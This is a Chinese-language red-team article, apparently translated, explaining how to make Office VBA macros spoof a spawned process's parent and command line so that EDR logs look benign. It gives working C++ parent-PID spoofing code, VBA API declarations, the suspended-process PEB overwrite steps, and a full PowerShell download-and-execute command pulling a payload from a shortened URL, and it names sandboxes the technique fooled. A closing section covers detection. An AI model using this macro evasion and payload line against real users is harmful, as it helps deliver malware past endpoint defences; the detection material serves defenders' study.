构建office宏欺骗父进程和命令行参数

 

 

前言

目前大多数EDR(Endpoint detection and response,终端检测与响应)解决方案都是基于行为进行检测的,通过样本行为对恶意软件进行检测,而不是仅使用静态入侵指示(IOC)对其进行检测。在这篇文章中,我提供了两种VBA技术,用于伪造新进程的父进程和命令行参数。这种实现技术允许制作更隐蔽的Office宏,使宏生成的进程看起来像是由另一个程序(如explorer.exe)创建的,并具有正常的命令行参数。

 

一、背景

我第一次了解这种技术是在“Wild West Hackin’Fest 2018”大会上,由William Burgess演讲的《Red Teaming in the EDR age》课题。

1.伪造父进程

当一个进程创建子进程时,诸如Sysmon之类的EDR检测软件将会记录创建子进程事件以及子进程相关信息,例如:子进程名称、哈希、文件路径以及父进程信息。因此,我们就可以很方便的构建行为检测规则,例如:“Microsoft Word不会创建powershell.exe进程”规则;根据我的经验,这种规则具有低复杂性,高附加值,产生误报少等特点。

由Microsoft Word创建的PowerShell进程,这看起来属于恶意行为

事实证明,在使用Windows API创建进程时,您可以指定任意进程作为父进程。这不是什么新鲜事,我不会深入地描述。实际上,Didier Stevens在10年前就写过这篇博客

以下是一个C++代码案例:它将使用任意进程作为父进程创建cmd.exe程序。

#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
 
 
int main(int argc, char **canttrustthis)
{
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOEXA si = { 0 };
SIZE_T sizeToAllocate;
int parentPid = 9524; // Could be found dynamically as well
 
// Get a handle on the parent process to use
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, parentPid);
if (processHandle == NULL) {
fprintf(stderr, "OpenProcess failed");
return 1;
}
 
// Initialize the process start attributes
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);
// Allocate the size needed for the attribute list
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeToAllocate);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate);
// Set the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS option to specify the parent process to use
if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &processHandle, sizeof(HANDLE), NULL, NULL)) {
fprintf(stderr, "UpdateProcThreadAttribute failed");
return 1;
}
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
 
printf("Creating process...n");
 
BOOL success = CreateProcessA(
NULL, // App name
"C:\Windows\system32\calc.exe", // Command line
NULL, // Process attributes
NULL, // Thread attributes
true, // Inherits handles?
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // Creation flags
NULL, // Env
"C:\Windows\system32", // Current dir
(LPSTARTUPINFOA) &si,
&pi
);
 
if (!success) {
printf("Error %dn", GetLastError());
}
 
return 0;
}

calc.exe进程看起来像是由notepad.exe创建的

2.伪造命令行参数

这是一种较新的技术,据我所知,正如William Burges在他的演讲中所说的那样,这种技术是由Casey Smith在推特(@subtee)上首次描述讨论的。Adam Chester随后在他的博客上讨论了相关的C++技术验证代码。我鼓励您去阅读他的文章,了解相关的技术实现细节。但是在这里我将快速并简单说明这种技术是如何运作的。

当一个进程创建时,Windows数据结构“Process Environment Block”将映射到进程虚拟内存中。此数据结构包含有关进程本身的大量信息,例如已加载模块列表和用于启动进程的命令行。由于PEB(包含进程的命令行参数数据)存储在进程的内存空间而不是内核空间中,因此只要我们对进程拥有适当的权限,就很容易覆盖它。

PEB里面有notepad.exe的虚拟内存空间,该区域标记为RW,因此我们可以进行写操作

更具体地说,该技术的工作原理如下:

1.在挂起状态下创建子进程;

2.使用NtQueryInformationProcess检索PEB地址;

3.使用WriteProcessMemory覆盖存储在PEB中的命令行数据;

4.恢复进程;

这将导致Windows记录步骤(1)中提供的命令行,即使进程代码即将调用在步骤(3)中覆盖原始命令行的命令行。Adam Chester编写的完整技术验证代码可以在Github上找到。

 

二、VBA实现

1.目标

这两种技术验证非常棒,但是,我们是否也可以在Office宏中实现相同的功能呢?事实证明,我们可以使用P/Invoke技术直接从VBA代码中调用底层Windows API。

例如,如果我们要调用OpenProcess函数:

…OpenProcess函数的定义如下:

HANDLE OpenProcess(

  DWORD dwDesiredAccess,

  BOOL  bInheritHandle,

  DWORD dwProcessId

);

…使用如下VBA代码段进行OpenProcess函数声明:

Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _

    ByVal dwDesiredAccess As Long, _

    ByVal bInheritHandle As Integer, _

    ByVal dwProcessId As Long _

) As Long

…使用如下VBA代码调用OpenProcess函数打开进程:

Const PROCESS_ALL_ACCESS = &H1F0FFF

 

Dim handle As LongPtr

Dim PID As Integer

 

PID = 4444

handle = OpenProcess(PROCESS_ALL_ACCESS, False, PID)

这意味着如果我们在VBA代码中定义所有所需的数据结构,我们应该就能够实现上述两种技术,并使用伪造的父进程与命令行参数去创建一个新进程。

步骤如下:

1.检索一个正常进程的PID,例如explorer.exe;

2.创建一个新进程(例如powershell.exe),将步骤1的进程PID作为父进程,使用合法的命令行参数,并将其创建为挂起状态;

3.覆盖PEB中的进程命令行数据;

4.恢复进程;

作为示例,我们可以使用的原始命令行如下:

powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName

这只是一个powershell命令,用于列出名称中包含“network”的正在运行的服务。然后,我们可以使用另一个命令行覆盖它,该命令行将从Internet下载并执行PowerShell有效负载:

powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h'))

2.结果

经过几乎整整一个星期,我一直围绕着VisualBasic、P/Invoke技术进行着相关尝试(我之前从未使用过),最终实现了以上技术:

https://github.com/christophetd/spoofing-office-macro

以下是执行office宏时,Sysmon记录的内容:

而实际的父进程是WINWORD.exe,并且正在执行的实际命令行是:powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h'))

像Process Monitor这样的工具也适用于这个技术:

 

三、在野使用

我通过谷歌搜索找到以下使用类似欺骗技术的恶意文档:

http://www.pwncode.club/2018/08/macro-used-to-spoof-parent-process.html

https://twitter.com/tifkin_/status/900629117846028288

https://pastebin.com/xc9668u8

 

四、检测发现

Countercept博客中发表了一篇如何检测伪造父进程的文章

从日志记录的角度来看,这些技术的实现使我们不能盲目地信任进程创建事件。但是,我们还可以从其他角度判断。首先,我们可以启用Powershell日志记录来获取调用powershell模块的运行时日志。

以下日志记录将清楚地表明恶意行为:

此外,诸如Sysmon之类的EDR检测软件还将记录powershell.exe建立网络连接的事件,以及后续创建进程(calc.exe)的事件。这也可以被视为提醒报警的可疑行为。

最后,我们可以思考如何在攻击链中更快地识别出这样的威胁:由IDS捕获、由沙盒的邮件检测模块检测、如果宏被禁用则在端点上无效等等。

 

五、反病毒检测

在撰写本文档时,VirusTotal上的检测率非常高,为21/61(分析链接)。但是,Any.run执行的纯动态分析则不会检测到此类恶意活动(分析链接),并只是将文件标记为“可疑”。因此,伪造的父进程和命令行参数欺骗了Any.run沙盒。

然而,像Joe Sandbox这样更高级的沙箱则会检测文件中的其他可疑行为并将其分类为恶意。例如,它检测到powershell.exe进程是在挂起状态下生成的,这本身就是可疑的。

 

六、总结

尽管进程的创建日志对于我们去发现恶意威胁具有重要价值,但我们也应该谨慎,不要盲目的相信它们。通过使用windows、EDR、防火墙、代理、IDS、邮件网关等记录的更为广泛的日志,同样可以帮助我们找到恶意威胁。作为红队或渗透攻击者,使用这些技术可以方便地绕过仅依赖于进程创建日志的EDR解决方案。

(完)